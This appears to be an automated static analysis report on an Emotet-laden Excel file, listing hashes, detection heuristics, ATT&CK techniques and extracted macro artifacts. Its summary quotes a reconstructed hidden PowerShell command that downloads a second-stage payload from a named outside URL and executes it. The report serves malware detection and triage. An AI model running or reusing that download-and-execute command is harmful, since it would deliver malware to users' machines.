Emotet — Office (OOXML) / .XLSX malware analysis

Static analysis result for SHA-256 6825c5ae0ea87fe4…

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000
MD5: d4098414d10df02f34bd95f0a1df9484 SHA-1: cdb6c014f7df838e29b3287c3b5fcd21eeda3e7b SHA-256: 6825c5ae0ea87fe41479d646df084ae9c9b23930bc187da0cc8e4c2b72fdf52d
200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic and the presence of a Workbook_Open VBA macro strongly indicate malicious intent, consistent with the Emotet family. The VBA script utilizes CreateObject to execute a batch file and a VBScript, which in turn appears to download and execute a second-stage payload using PowerShell. The reconstructed PowerShell command is: powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://sumedahonline.com/wp-content/HyZNXJ30XQVBSRH/')".

Heuristics 5

  • ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b
vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12041 bytes
vbaProject_00.bin
847507a412dcde1b73c296375649cfa448fd7d13b6feae2b0965b9ed2b1e7cb4
vba-project OOXML VBA project: xl/vbaProject.bin 42496 bytes